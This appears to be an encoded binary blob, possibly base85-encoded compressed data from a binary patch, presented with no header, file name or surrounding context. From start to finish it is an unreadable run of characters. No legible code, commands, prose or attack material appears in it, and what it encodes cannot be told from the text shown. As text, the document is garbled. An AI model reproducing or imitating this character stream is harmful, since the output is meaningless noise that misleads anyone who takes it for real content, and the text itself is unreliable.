zt^NvLHzc@caMw~-k2hMq3Ewd!h)O>@@yw9m$$)9IcxY|hQ2tMc2K^r5*t-sI92(p% z?VIq7)w6iZ&|vZ5F8pueZ9{{((xx5n7#eIl+@;iY;-R&7XS0u;9n6vSR)I&)4&IXX zF?_Do=iyJE9UR)mYsxeDvsQl&ud#Y9UUzm-C}Xb2U$^=j_@Ax)oA^SjFT(#~^}ph8 zS^aIi!Rm|gl~!Mcuebg;;2W*J32(G|6P~tufPZTJe1`9}`aZnHma!ENt&JPT|L-t= zZqp4f9u^#4#J*92Pqq3qeEP89sGI}Lz~fd=;PZzCRdS44fY%KR#_91EZx|Ld%KBW4 zCx-et~nm-+U$;M2?evdqA%tX_@ZZuL9xJFR{fez(={!Dm|kv+xJ3{viIawV#bY zQWmV;#@OcI@v`7;Stkj6uCqmT$MBBf z!B6G2rV|gX?nbbWjR=k=XkUVtjtDOKh;zjV9vu;MmvfI8K5;~Fv-l)@%7|e4S@L>^ z&$Rk1{NWKnTB&Aq|GaZH;xFtkTy+ti`854(CTg^|3@Q(BQcI|-SEPZ!TiO%E*Ig& zBZCVsXI>?E>B!&=`5%ek=@y3zC zpX8X_gl9$uL*zUyi?>+&Ry-UTye#X}jbd!0e48S?c$Dw61TP&GymSuZjNoOXeEZ>e zbd>Ku_WxNr@AxRH^$#Bsn%6=^6cjKKR8WvaflCl{S3tTZf(i(dT=gneu!405K>;ZV zMH2-~Y!p!w%TG|sE=5pL6AvILYWCVtQ4=dD==nYGIqx6O=lgu#oH=u*?Ck8!>;^CB zVu!uVm<#bD`jPXxVtk^unS>|0*uByw!WU})i}128cKMam%kc_rUx`(}+)cQ|&{aLn; z9HSa=r*+efeY=~zYMK15Al|y0{o!psW46JwyV)NvXnK~(!TV^vFCOb=FX-2_gNfq_ ztw(rSH``|!za?0XS7^NwU#{&};8j|$#*^Lb(hr$e3g4#FzKz#t`&xX5w%>{G*7_d& zSFQhsALwRJ>esZBIfy%57L&{UtXw-)j&=XSkIc2t$a(%zc&^s-@LpQa$78wn_z!3k z#|v`9vKQi4=Z1B14Srp2SoR6{L~Sz(PiUJ6FUt*|kIM1Ix#9EC61+<5)p#;De4a|- zE;oGsGI=~}mlvLAxE)XA*;lV>bh3%?86eMy&Lm6n{BugC6knJZu8S_h%kskY*m8Vv zUU)8a3BFX@Jc(Cmy%OJ$7oMX?;^60%!nftw8^&k$G;iZz#NWxYiS2oI>V{@LBhtYU zMVa~Ly*!%@+po;*nM1}vrj3&ckZB{*)o7o!`0l)LUuF+pr(;gzF3mIK8w8CTE!!_7A4$I|U=LPsE zZ8I7l-#uK*EyAa0{carmb=`aL`@7q6xmWuDK1bWn#g}ONrFez5uf&sDPvPM2k8i{` z(MGP9ZpOjax8UIGZ{gst*>1((*7`d*gzKyL4z2IRchg>;z1f4;X`gA98|1mWI5`M@ z;$GfhvH;{da3MJgQhJuGB5KL4*uHm*ZB9kt@q>L z`~RW4Z2_`=vdCPRwKt<(9+}X3L^|->;zu0(weg>D@YnF`aq#y;8*uRJ{AV1bPxA{7 zzWyr?zR%xq@ZR}Tg^NL6Z|GY~3 zBdJ3=$v#GwfsC`9tk8NTxf*2JHKYS+V~)a)?qRd#e#$XDY!yhGYSOjnVUzS}vU=DU zNc%WB5oA1*$OJr&M`VrGYss(S=KYOM`G#~_H^<^2{hO9d3$lz6nFOh)NCz^lISz*v zEf`xX9FF;gbAaO+PwUV=P9{LcACVOx?JG$Kei_@)2BiOpbkIM=xzmX_`0<>CgP&Jh z95&v>`9nMW53glFFVjrU@HvhU@SAk#*q1HXQHqmKf#YgK&H#BPWG3mfZZ5$`@OqQ|a3p?hXm75=!9U|P0l!J>H{Nw4c}U)%x0BgRc$ym|2If*ESpQr0ypv z{JXF|&G(ESJ?&nQK0hU0=bqsl<_x^6wmAz2|Ex|oyhqQl9ed)vdxrh?Ts+=0Y{v_5@Y|~& z4t~u2@j+T2j2H9_ue(AV{PF)1d}L31v+P%w;-h-n8M1vxEe9558gQ;qwBY%OXS-XC$OF)yd*!|k1oZ_^6djf zJkwQUfj>2Kj2mFtxqw!;U+ss;? z`DuZJuV>-#@*18)I2Lc&+rGOj^9*xbZ<_$AN2IWGO-9~SQuyGx%q|a-Nv)?y2fm+H zIQaYN$KxmHcv|BpX`8k<_;I$w;l?+(U)CPa(`nDf!M8aF@7~+alX3RId-b;CZ{ss6kd*k58aBgp#3({vE>H386o4z>sKF{lIV<77!P9{L=5t)RiE@|2^Mb<&%H!?b> zNe6z~^YNIDGmh8jd~5N#-gd|jJmZnZUGMN6I&&_c)6WgxRh)FLoiXKHyS6@~(@fIA z`*LmbZro`b(}#22KK9z@c#UM>ko6VcFUZ83^zqNXnWlKNKK6v2T>os2|4Zvf;&9qb z?nfMjAK%Ab_b&aMfP*|cXIkShS8_`kK@3y<}+gWqKt<9LDA3-NJ%?NAy2l{olyJ073V*FJd^ z?XSlnJkyBZplxo%!LOg2@Vm6n$vF7-Q}DaBeh>bD))V*w?PnprsIT331=n&P#mlr! zIqq~?a~^)4uEXnDnFOo)YN6jQj1*~Sf=!<#rBxAXSP_f{^zFVKGa z@tk%)8+()MV~ubq70uquHV{3=E?`PY{7*58swVs1_U|w%f?}&qMe=2@jKYQ()Tqiso z@1*t4_!<4|17|lq)0~OtYCR8!${n;n8$YL?y-U114!+MGcu(!~-*~Tnwr!GS%*Vkm zS8x10ZGS!verz!ud_Qr#zs_p_K2+E3F#H>Bvk(7Hm-l=82d)2z|ElZfH~e?)=MVgl zj`=VSe%=0!JDt|_=e?tU*dI#qivD4LsKk@~!#$IN6>$QCYexQHYXAa^{>t+C- z-3El^Itd5AylwH`1Hw8v7w@C>zBu@O={y|#IyoPY4G7yej)PyH7vN6Ym<#a>b^jd5 z{y8wbz8c|82ZrTphBqG=j%i2WM-H^hhsf~_@1@je5?@vtu*8yJqCalF5_8Gw({ z{zv2BkB4LMD+Y#R!dU!Dt&hix28MN5jNhX5iTGUu!?9>GK2zJw!XMH4Y#e<5bMVrE z_LixPc|N{c+pNLCw|N79Q~OzquNxSS&+BpUZ8qRZT@NX|LF+%`zYPq>vET7Ow4Vd` zpW5ax{E*J~F#gX#+jK0)ABQ&@6#CB?#CJCah2?FGw;mMMNgMn`t)GNv4+_hkgM&Yo zo`RpI{hW?>8WgryXFPvU*cQEU@W;t>aq!F42ajw00vvq39}fQb+#d&DAAnz|^?^9} z`XGF;)`#E)+Gim?LdQH3zf{{_hJ)|_a{LCZ--v^+--LsIpS>BsOZ%COPto>ww6ODgVNc9&DH1!u6tK2J?Aku)Q$Z?9_;K zEwrA6!&Ar7{#d-F){n#CdfJ;-`0-jl0f)^~skg?nwVs2YGB}(!cEIxohwnT0#?RGy z9~}Jmp!?$BKaZS;gRh^DgRjSM@bx%;;b41-EZ0DMkS^n3e2CVE;==~pxiaSAc!Aan z@sWe=%Tm8|uuYB%V@{C{mMx&q(fHWGwwL%g{K~=h{6!q|$Kyp>FUAwPyb)e9*iKkP z`%?U|!M4ppybK3lFUJ>a`z3hAU^}}PZ7T6PUB)ziK$r0#?zC=(u#JX$9fuzBJ=2G9@b!mrAxWDVBpe<`o0<45ZSx2Yl|RvDHV)@sNt-!1?3MO& zaq!<`orgnvX;XrOpI0e9A7ow&$c0*8G{k1Z2OTp{$syenT3?KVAM+AikZG5a;QN0P zhl{@A^JWDOeqNQ*R@XxcuNe})-%*R#>AFhePTQEFY@?y}!%19w%)w6?%6DqG=GFm+ zmbY^4v?G2xb*@dBPB{2Bo$)S1!?x&(=W3fgJf>~p_yyXgAAaS~aBXBf4mZiYo+2Fl zHMe5?I_+lyp3rF{eBMxh4cwIA@cq|}vlNGx2UzFx@rBxE5f1N2n@4ew>*wY%9FF{k zdKnHs%lA^tap)@b$8oqw{0SVoOaF`U3hk#7U#nwVhbMI%rtrFEP2_o3LNe9=^M$NxL|i09ii~ znS>7~HR+Hd9lW!j{)_R1)OjsLc*!t(fp!`V-U+k#uU{-1-#hKG9ralB}F z*k_9I#Bd!aUNPL>|34WUo*W+Tt)%d};kqB)_}kMIhuSK|A${w==$5_?Ok*=gnn9Q?d~#GSS=Bj{&DSU(Z|;D~VFa~cl*diZpF z=7?~gWfuO3wwaBCzYjGB2Y=6NEXV#Bv<` zea02|su6aw+}nKt2Y(IxMI3zpFX7z61LV4zDcWJKE3U%P+Sz3o>)e3OuRpQ}{-0vk9-$dK%w%xxH>U z=N{kU^_SaEhBfJA8t?;`hxd_#I4t@zBgg!SgTE*8*X1^uG0L||k?#0W;l9iXcKh%>v23WD!g|@cyg4zZbN1Vlfvspg=_3-yndAZ^#k6g8gMsCzpp)-Z93Y1 z*|lk&$-;Y$4!@a`kKd#9d-3~5+l8rSoz4AtLhBJ;qU}rZq}EgTcUu1*cUm`N*k{Is z{&VnC#)R+7cfdQ2u_rXnIL(}j_tg5o@m^!Xclq;i@b`UsNv+n=CRLHf?K~ zlS9Vfxou6`$H^ktm1@?$n4Ac2KHMy45?KY(rkZpEbzXzU*yY1QeFa$sGKOk$HT=RD z){xskrhS{N0hwv24JLujAEcib4-?7WfJ$cgHx%BR7Y77Vd7= z`Yr6ww}gIj@GiH6adySq-xlg8-^P4z)A5Vn5vGmb!MeJ`KKe7y)<(EXXrB@1z)?8o zY>k8et7PlahC(!u-kJE9wL@aL18@XgximWc0( zhiOx!+p6ui;ooSV`|$5{Jm2GgYyBVGX?ru3dvH_jRdVk&6Nl{yuAMf8ZBGLl63XvPj{L=Q58!mTV33JC<$8wjjSt*^ay&W;|}%-9b(USGB5KS{=AN773=(`P+vnPLHbFNPV1(gv4P)S zqyyhi1MajRGmY2&G<(t9%;QZC-eH>EFqiX$jyU}D2!1NwX__582k(scnr1(kjpySR z>9iN)MOrV$;h{%(@BR-CCza6tD*V6N&$akOZ9fTz{j)hIxfQ=n`@9{$W11Z%W4IHa ztnH`Z_e`@(=F9)m_yx!;HFtdU- z^KkI(OK?~&^-_G{blbn2-<(;5L+N^c>+I3#HUV8WHajsQ9r*fVc-eG&y-ZtE~4(eEl_itxmfR->UU(I1G^E&)YcoKHr&c zJMIbXPbIsZ4<|f z9=1m;%HaAKo_N?!9>B3Z!YdvQeOBUiGs3j#8N7C8*je+~4;yf&bu*Lum@~uo2pZwX z%nb8wfrI~kK^6{kM)8|J$Ii5wAm<59riFjAP9ic1a~Nletb@7qlO`SP$mAMP8{Fx-HM4kMo@Fy9H$B-j#+%Nv z7tC&UvT26H<5F*qAE|AQ!duJ=`%e~r!Yq6BM%uT=;mkRB8@%l-JL(a<9iFXia_}y* z?5w-!vn!sf{paD`wa*?nOqD)+;=N|sBjz;Y8DPA>wi$rKrn}gOFT@AUve$|a#$n?u zrX7M0n`NI7AC4F3w1xPnS+=c=Z8Sc1mc3GzaU6c-EL(dgJ{~WcrLPP8I+jbuJORIP zmK`E}-h@w_Wh*u^wn_M8UB)SRq{}{amR$z&T3b#!=q>Yo5TB;YJ{_Mi%RVH1&csV} zoTYe~wkgNqe%UUM;}zPb60g$jRXxil;A_Sikrg28r;>C@ZJ)wxbp6!gR{P&E%ho}P zb)F_2_+!FOe77#w9(?aC`}xLZZOy0nXSz;4$LnUtn**+1KQ6)+-ZCB2=~?>3FoL8_*svH<3=|e{P{^P4*r}Z4?kPmpM!&cukVh7 ze~<2ggKysxKUeF0aFF+U)AtcO5v0u|(v8tJSK#3L9E*eRXB>W|wi%CuZ&QSWZ&Qq4 zr)?(S*Xz7)c*JIcEK6hZ5Xd+WlTPdA#z$=S#L!O;Spm|fl5|=(lOC}Nka|QWZ+*o7 z=6Q;&1F5G;2mW`_Z+paMfYdX|jv!+=l}u>*kI}YzvV87m!6dkTIA$@w;?gO~&uh`n@>FIkvfv^>BZv=a4aw z^&BS?;LjDwB*-$R$n79)-Xk6Oc|CxG-!2J!s@5OGr)hmU4zeufA^Hd3Kk4>pn~(9s zI_=*$_&)!^oz~54_Tky#{VM~{oE_f38siDANBBdt!+FcY_>9?hYB}$lGx6E8?cTMV zSIoiZYMXgD_<9MxV0Jj)ScpG1+ji%Cz?9*zRlFQuJUg5(Ey0)04(Cfx;^5D*Hf334vim}~~pPjj*b$hlS)d7Rc;k=Y>q=a3yi zrahJH1TxOfWG|35`Q&7fF-###K$feNTn;kr3bG31ysMgg6=V#rk^4Z_$+u*^)*HwJ zApIXC9mssmv-k>K&nt28=dRDQp5ZUHZ$vuiBIl5+@Rw%WE7svvc=c>sF8(qOe&2Wn zhY_-UU&X$`FAvY;Q{=a#)zr4SHfkW9a#`Yx+zWx=yU;F<7|8btJ zUdI1}_zAC{r`N{k*}7jtJx$hw^wU5d(E3605J;bgNvC!58xH;&`|mjT`Tl_)(D@$3 zoz_hW=iVjZy`wqaqD1!xJiEmHCI8n4sDX`jXT#FDU{C*g?_+fA<5Mfkju@R_az2fv<6@rBxcQHgB<@?M`sy2aY(5`1Y% zxIXYCUa$2A+?DvxT*j30S+CT8W-*QM)}`V7u?_CDZsyZwepnBU@XY!89*SSA^#Z(b zzWsvFJLVGna;=ZTN6)ubJ}ZsEVd+zudFBdythO09pXX2J+ckVXibw}v;^s;m{O8T_ z_%+)8zw>PjpsPtsln!(YnLIw>JyehZooli#Q)>gde*g zyrx>>$1Sk;FXEb2D?DH8z41N^Y?lFCC-1w!CSWEWkuIif;tOmH+R5jvLcC~!zqVkC@x+4gzmOu_EeOXJvykf~3vIXJ%r@pY9M*2-`e7>^ zeEoPFjwt5;bew=gpLb}}dLiF^4sGIO0@_lK$fVX&q=WB@Y2OBiVa>R&cOu?a`)`NC z;%&5PkHgrv@ssHjWDF7MvKQLx|3f_ohqluG6dZh?9dM8_n2tF3HmBmJEwt6mxUYIT z4u_=wPB_%ccsk?Ym+=f7{CYSO@1p&8#o=06mb36&?K2MtUq2fM-{(1uA7s7}nS`;7 zIYl}+LYAdF4t{JsaJW~-))NQ6p8t*aVmwmM$HCWo<1j?}ITr`NynS%+W9W;6AKQ62 z`1<*HjCsjAjN|aR_ysuldG*8l>$C%K@bwGvL0TV-5799X#liPK3{l$2J zZr?(Dq}DIRM=i7~W!;X(i*(;8#^JK&Y`g#9;J5Wv_|*&Tol?IB2Veg$4!(ZvLfZml zxw6RCAoVt6Hk7hma>xRZ?OsTZ0%<>*ECOj?OeR3qZA8w1v22T(WC`@4UP>n6clu0` zH6YX0k`DIDw!01ozs@J%u$XDh^*H!_?*{zFg|^40X6?;Q_|3X3x8P7M`|v~@{PIr1 zZ`XbP4t%oiw^Q(``g(Z~pQhVoIu3rjJcNTE!^1fE`V1U=eI`Cz_p3QL_a4m*enoF~8USI1ax36ZjHszZ3^we-f|I_LcZk3++JJ2cE{kuajqR@ca3*_;RhU zV7q|qZxI<=xzJYb&1@eh6R=p0MPyRzDbhjvPZ`_uIQafoF)jFM$pnm*ZB06@n-_5K zV|Wnhi9m|Mm1QVJt-I&BKyq_6SKIQVt7 z1>dIa-^RD={_r0DzHYk@@H*`$je|c{{11n{a%}$shqc>S4`1T@be!Mf-|K60KMsCu zKj0wyy!jD_hh_WzgoCfw3%_8=JMd7{X3A|!aIOnXypV9iW__9Uey5Djf z{B@fZIQVNUD{=7k=W+Nkr&%-8^PpqsPK|MF!sNv2Y&M9RE@4KjBX6ri}Jw;d~He)YyAN{QD#@jdWi5DWqQoSOIRmzzEq0C@$x=3A75Bzf0)g&eG&eI zwpomWKkh9lv&o83PmvD#$m^~We@^>ZhOa0K?*%LI=gaJ8dug)@2Y-xu0e`V9yr;i} zzpV3m1qVN#S8-S@{lA8<);4R{Mj)^2IGF%B{zPOFA8?E z8ttc+WdT_~aWVmNJdDUB`1fnleHQBGbG%N+md0IKIL@1L&W+2%{eo6__wsP8=z;gr zdOjX2566LcIp^x-{+djjbp6Z2wU+^SBGgTUSCrfI0`4zY;#K8#;nh6*U5&5Se%9b? zwf#Cgsr3|Ir}ItYPWv&Bb3Xh;I6icEg4g>K;keNm2mkr&4E!vucf-Md&dSB1w|rL0 z!=1J-XT`pHH|K2S2v^aPZGC+>a-;O@vo0 z*7vf-HnwH4-|lfT0j;=}5|K%e_pg-H-wJIa(!mtDHno-dHm#G1w-?)YWm>WVjg4&HHzy;JT>o{Ga@ zxz~9b4lhalbo?x>cf)g+*!QHKhsU%{952xR3-O{QVVxA?6PJYdphd`H1wZ?Czgigitvi1VcS*W?`!>or8WjK z-#A$WvJQ*M1XN$ldM1Ew8u|hGpTfoDM3Dc%H;GJu zj5#7_fIOEqlPm$5Zz)*@at*MYtN^(-SV>la^j}RTL7uTmku~r#*BfieI*@Uu$$F6f z8^{B&oi+za2YnjzI;vf2v*FPGM(uOR7|677G66E4h^&B{8)uwUNhU#-H$~Qg%r{Ls zkacA~WLog&He`_v{S=cE;cMDYA`@DV$O@2iq)IZW^%UvAKOeY*ae}nTA!8u>cAP8% znO8BH0Kaa@3XtbaD#$hY*$g($(2SB#hLDGRA|4tnIYjf99+XCcuokeEDU|x?oWG=`)lSlRf*)I8H z3}n5<$pW~K_Jw4T){DuBAirZXiJS~_e3(Kepc;?JB*<$&Mb?3wTc*i+fJ!&j0?@Xz~6f?uDz=?A3$h;-oVd+?9Lyv!%KAjg)yWWBa&V0nKH z%h*6V@Ynx;!w+bigZMw;^=KRp{#w0xlH<&i;h3L;=RRpq&1}T~t;S{0 zPlT5|8J=q@#VbI@Q%P1m>9?1u#*}wU)=dS^-c*G9BS+y! zSA_8#gSV&%*Zi|^@b6j2;^5!2TH?p)w5{;g+NKTOw!+>qvQY=q4sWmZlPm1KFk?ic z_VLCWwf?EppeOIY2T7-Ola0f(^l5VN_bbBken9^q$D)XI zAp4T3sj%4~>m-MafxNEcWD&?~u$WAMw283SUGIWcoXrHz4H%Z-zR;6GefA51!}n;Y?)D#JDNoAEof zpSy7I=US6-@YjT=;NY+M-;IO6wto+PpSHOl2S4otIQTXR{0VKd7zclzwgd;?ekuO0 zw%Lw@zaIV`4!+I%EZ2vjO`I%%*<8afBu9aaZ8SL+r2RPZI*{>CASZ%c8=pkF)=!7! zYV$PLb)WXnwwV*3wlR?V2ywCq4~B>c>^{S;XT^6XribRf^> znUnC>o(c2%zh`U=nFl1mWTOPF6TLx<^G&MA|3e82+!aU#)dCn9`0+ez^k-gjlaA+e13Tae|32n z=W96lY5xyjt!>ue>zCWJ<^P9nz?0f0h1Y~Jm|7f0$no|=e22E#iSJq-j@2LG^;&Ph z4`}@$4t~CWvRokd$|KT&Y$Nj*4*oOOA=<#_Y}1IG1~Tn*(m`9<)`xMYeVP@#kE{sm zFbfBNo$Xj0{C6%|;;poPJPy8o0uKKDt2N$M+qA<^(Rv5`bgg&7J8S(69Q-rGXX3DV z6aRa+3m(({<9LxyTZ|`GgwMs%3VUeU3jbbnm~`NmeL6m4MOareao8x!I}0ya;osLx z=?Z@PbcJ7U5$V7`doUk=RHuCm2mc;gw!-!Sc~9(1#z5v3Cl5Rx>Ica~Aoatf1OFNG z34HmA@OgH{3fmT>-j2Kxr2m`9*&y$;bI1c)KS&A>$-t5(<}LE0Zhwg9PTk?!?SH>+{*pQ+d2Z>$LC z8*k!kwV!p&cf$(*dTAgJfGp!d@{raKlMej)N#Y>mF)6%8*HtZEr`t4*@6-8yi|^O^ z5BQHd-=FaM72!45fd8yx{sjlWjKAXG&yjw^e_s*KN&dhOX#F7WR@mp{+Jafh>tbc- zGYdazkQ`0Abtlvd1W{@PQeo^!?HxUTNz$Q=6S~Xe0V*!#KB)%J`M-} zI&Fo6|2@p(@e{P(8gKJ_I4?R8Z>#loILK!f(;f$Z{rqJ76m8Q12Vd`qgP+%_&)Wp} z^LEmKub+m4e5Ny}bb8*_$3mM1@>h^)eCdUUb8A3|7-EORpI?Tjn}WTM_ksVgK5Bj*J=O2|6Uc=`9HYR zx_QAqd-4nZJ1ozUf;?xqj1+$4xwYk_AoUgGN|5I&pC<)*25%K9$n$$Ikb*qt_97|B zvxqN|g0!z91?jVzd=*Ohe$8v7AkR$xANe|Ttjz4NniQn{8d8ww+}E~TikoMb2L7r26j}&BC-X{f__5-Pbtiu{okp62)LDtWQq#)B;Qjq!% zQjli_canlkyNlcd(*MV#AnWH7Qjq6t_mYCN`IHo7%%72h^#3_o2eO{iWFk8(V?<5` zY5yQO7i7NkNI}L~LeAIv0#cBE7LtO@cM&PbdV7=~&AnRunxmoL5NJ091ixgyDTS-Cc+ei=nzl{qr-*-r%ls?}j z1?hh~DM&x>k%FxM_enwe{D2f>Ti1|+jK7xL0e-(CcZ0OwLkjXd^T(thWB7#p6r{~( zA;_F48y^n*A0Kc z#x4r&(B9(XYhzMlddeEUN7hY>IMbDI?Dz_%HRgFpYj6d$eiF*x}94p-pgw0s#23Q*#U#cL(tkv{+rxa#9r)ea&pkN!dn@ z=WhdEw3#61kd4VBLC))rB3porCyP8z>#fMvAm>7D$Szv%O6G#J&m-MH?SBwn@M2g$ zh4`o!!)LnDc+rdDoUIry3F9}Vcm??DZ)8%JC53;kZR&8Rb@LMU(_gZy<+=3c_>nL9 z*M&I>Z~2nFm3`YBhlA{srWM{=+qA*6U-GXDlY{rx`nfpx_I+@W*Nf?kpZAh~4Vv?D z@bwrDvY(qcUi4B}-eNrQQrM1>cvU#xi>g@0s&JlDi6^VV^@J2&Qx(psYVkU4lg8_- z!gpI5s%(pcResD_^pKCZ9+Oa%?||6y$i)mK0>#cBCNZ z675Mr+Mi5jgUl<36lB>?Aq6>JbszAm4*HjTEGx(@8=4=|l>0Z0Sr2 zGPW~FLEab6B>xREZ7))Ik!8#$1!>=#6r|0$q#(=HhZJNyeaV>C<79u3_rw9DAmh1^ z6r`Vlq#*qdA_s%?IfN9X{ZLYn?=lP{1v!5kP71P4E+Pe44;PbyOj|$-GOt4N5|I8! zkb<0djU)vb=cS||>*_L6kg;7(3ewLgQjqVPj3&ou{R&c$@r)$}StsL2LHfCp91qe@ z5h=(xi%CJ|`ycXZkbUeLaw16kNu(g}`?r#U)NdmNS+3hjLFRi0DM?{{z5KQC_7&cyM=8{s#sBD~^_a6hOLhhtuAa=Lj6hfBut z8?#U2&%R-A8*9!m&*977uvM=$>1vkau=lklXP6Z@`1UJtX#9V)c^-%BT%)dL6<(!n zs`2C-wy;q~FO$OE8{xM!&716pZ`#L)nzK!3JoimIK|Bxd{-*t6INk#XU+;;-_rs|F z8;3WxRj^Sb)e47Fs{Co@X zQQBrS4!%AHFVcE3K3nT^@Di<;zG)K+!k8n{fgk5W9Q?8@q76u&5t)SHEPIM{k7++; zIQaRN^hrAK^LmOpoWXjF$Ry0fQ=|jm z|I^e#`bm)v{JfsQ!MAx9U#{zU1r9Q1vyw4@%r{OZK&FjI2hyi`o;vtC>EM2ub`^Dy zHWBH-ud5f{v@Jm9n?=UJFC*z*)bYH8SLrfVW|K~FXka|Qq@awHN4!-@lc%QXlyZ6Q8p?`A$4u1dd$GirG_9?OkWIVNGVrXa| zk?s=ha|903#*D;4#%wOdM`@p<@oRKE|HUV2eG*=w^-6rZ*5AXy@1O7E;K%j>zE9hK zi`VPAZNQzjG3$6=Sf`(N*4f0ob>VX{=|G|*}8Dgt{eydx&CpyVqN$w zUx_Ezh0j(gyl!2%KAgtgy6~CTtmpIK`p{2v{D}48-p9Xi@Soq0TyO6M`OJGCnE?6R z8j()x<|w?y`Y_Hc{J8aDoUL&1_dbrt!H@FiI~-(Qracb+UdG8d_-7`w zaqw+&*4s>w>mH3s*Gc>7yxzw0*89)hanhZ=KCF{-@b0>dJ=WX3y+WH$$vTjJ(&Qnn zA0{36dFA6V)|K3+h~wb5#RYi3_2Khre|#Y8N3J;x!olAQ7>tixAMPh!ieI)q+~d0( zPiXrHpSnKW>wFLg-~Tim{Cb;?&(Qizykvd2_EL&h=(Lr1)%viltMNlRhQqkid6^B| zqu&tjFMPAXCiZU#-&-Wz&szTl2mk%VUvZ~(leCLL?vX7alOXFSMIO@nVbXygez;Nt+4Me`B&4NSo%Q>y!-Jv@_l%8J=wxbhj2d&pO_5WbP|3i%OKB5 z-i3oa=VK=0iKKtl&O~?xW0w7)5>INMDZDNj&i&H3(>_g#d8NYt=!xS+sqnjq#rSop z@cXnA@QJDLJNA?C+qHfNJ~?IkP2{|B3ZBqH$L-DjJt!g_gyS|I3w0C6FVp(vc!^G1ii3ZzpO1ro zuU~+Jyib{hIQZk|BIX6sJ|Z3X^UO!7gFkN}9r!UkhJ!y2m*L>gXUg%4&EYs-iSO3- zd+<7)R~p~9IlM=Ii`R$#O#^;Fr#*-}oz`q&Ki?9L4~_8HmT+msV^cIYkdjnz#j*m#KBKnfrEc;rxJf^i=Fi!e#7l)eEAlA&H+zu z3HPZ}EZ4@c4@9H`zbu>ZZMtu~jn`}m@29o+4xQIde3#Zg!guR(?ZNA|g!ke!4*tFG zfB4s1!u9QM@cJ#`nAw0I(D@$34{Zt8%n##kOE{LAx47T>RyfD_2X}9U?`4~o2)wcYr5xdf1-otCQhJB+J-?7!Mk@x+b_%7BJ??L7xeD_vc zDZU5azcrla{D3>{-)!UkZd+LYjqxVi!a8Y+AH6NC+hcI>&u+EA!9RbJg&(&qjG-0Y zTHCk5v$uuynSJ@x->UO(T2;V~}N;iC1j1EidCes}g@%+rNT? zKWBRt2miWw4F~^v`9BwWb$n+fu~R%5aSNSiFOBgk>)R5GUZIGF%h_K0*^ zH*2Vaw2w#!{#^789Q@ecWL_Z0hsLA>zuwm3;K#X+HXvhYOggBO=U&$18+80h9Q-jb zh1co&Ni&A8!g58V`&!$7gYVP+zs0}X7WRklaq#P8KMsDK{D6b6|A>R1*H7E{{nfCp zQsick^OG&4gM4{js2&HYn+E(>o!4(T_;vC-?zDgNHrsl8_@8~zc9v_q{qicVJEibV z+rv4@W_|a55FlL;o#d(#rJCaPw_gfr}28NH{id& zZ!bJ1<3#fZe&Buk>^Dt1nuEC0y7>UF(chG=WegvN|34D{kokUSe_YIW6(ihz82+E2 zv3w4)cH~fVylIXfZEfKY)7cz@x3IRRMbjQ83qQ`<(}wVjZY#XCwNr+e(@h&ZTkAP^ zuC>PuHGCHghuwo&4`<`UwEy9FfwkWaF{hbAe5AIy6d$W?#^K|wEg4KdML3*!Y|}2L z7{AWi%q)Jxd;)%pwx5XKuKnDBPu6Lt;0diq_*85E{UyI0`XD~d+P5xh(#=fA7uxVY zRuvZH~h?R{@;fuv>xFVJ8a{z z{Lke|yl#ihyrR+ZCXKrt_Tww4o1GkcciLB0XLdD>ciMs`JMBZQGII*aWYbVjk#!*T zH0hda`y+PRY#4rgX8Rnn3Z$QEay7Kw+$?7exm)Xd$U1m!Zj%maGWM^~K29b;`iaP- z)>C91oX|4!v^43oZjPiqT>b{Xk4n}+e&fvcwWQO!Ig0*|*8a&NIQ`hnZpCB*q|b)f+f#2mID_}@QM#oAr2@k)}s7s1;;MY}K+Cz(mKT9(t*@X588wDlSO7j=@%KN<%stT^&B!6qXl@6U+tgF1>ZmEv~JGB!H@HN+Q+m#83U=u$@(#& z-asCJhA$iC93pe)}m#oYlJxQ0)ej?Tz^jgF7`J{s!0QgA&tftG{`EpS@ckrl@bgXK+rn$myv;aakCywVIvj6YcX>Va)EhUp6^%Uu}Zg%3kbsg@(;mTI* zlON-I!?fm8_C1heP7c|kF0{`guY)}&WadmDoz_hn-?!85_>$N7x2y*+8BIGxBRB=yX=W_uWi6Cn;5jq=3STBD}tt6koIZP!Il5b>}4)tT97^?(t+=D1P(`BLz|I!QRv4MhdN#?oc zF&zF}l6jsf!=Wqvn{xc|UG~>&sXu{(zc;!V2j9;UykeJqUD{OQRa&pcle&FVIQVHd z;&64RrstYXyX;<&em*4~{62wxHZv}e_9^lZNSni?+p6nx8_NhX=7=2iPS}4&lY*?1 zF{FDx)XfL@hdMTk@7`taWB)OGaPZ6WF%Gg_%qKYbG4EwwpN2LOnFPQ7Ne8~oXS-|} z$h7681K;Q8c%6XW*VNu{ z4xHFaeQ!7iHlO03>G}5OoP&KH{)bLGJp1!-?wy18*ZKh5)#>N2H0QnP@R_tRenL82 zV`+__m=2#APr^^udNvOJds{hp$8`9tdMXb7y2NRCr*yck*cs2&HhF2=7M|Ue*}ff_ z4RUQHhwP*EzGMvKGi;o6Fhs7IoQ;G3-p4t3_jI^6(j#p%hllO#-6$Qy=(KGC(q|S~0MfpY z9I5q7$x$HFjwZ)~v>8WU4KnRDwU=>$avzU)4KUDo=Au5BoSVr^R2{_ z>2Uujh1aFSb-y(3LjT76kJr@yvvj86QB+w2E&>r`F%cL+K@$W80SyWYD%!2A3YxGZ zhzS7!6--<~S-KFE-DE~baZMbZ0Y_(&aT)jNR`~?i#9U{PlDD&;I{M2Y#-Jfjna~PE3H__exB{VR>f+F#>%qj%?7q>>d{5u3?~DkV;iql(`3xNNKGRG*vV5?G{1*RxGZW9+;_nH{ z#=CCu+j%#<#}-|WK~Fqqi(lSec;7Al|7-p5tG4*@zZwUykZU_};sB6!I*>Tm^7DvGK(>da#Kdh| zbQ=hXQIYkt7*AN=LLBtjwhQrSi``4LmH%ICt(hV3%4vkBZLOIt@91fagT5=L3Ep&T z%{r-RhM&H*rj5Mor!@{*(*_5vX^XeBeEY36F_3rk#EDUs)nwzHxBB(c1<%>)uMhOX zV_W?*1mgG*s~L(XtR}?Ew)*ie$CF$A|It$T=Ue^y`U0=Anrggut6z6@c(m2u4;5@< zxwiT3zZssf&0ky2#Iv^Px(KrI*fxKiKaS^b^V>-QK6#tJ&$JMqvd!;fr{dGM`RnsD z@S<)0dSfx3uzZMvZZiwfLHmNpc)7L-^ACrvw3}kZ``KaTd)cLcALLn_`7X2F_8U# zoEUv?^Zfy@-R8%+4&QEV?!fnLtC=yD|0~twpufX!z#|*aU_0Zm-G1kQC%600Zwjvh z`5k*Tv39%PHtO(byWci~9sCAwhp$h=LH8An@iQ%d7T#fp-w$-eLGNcj8wcG#oP&ct 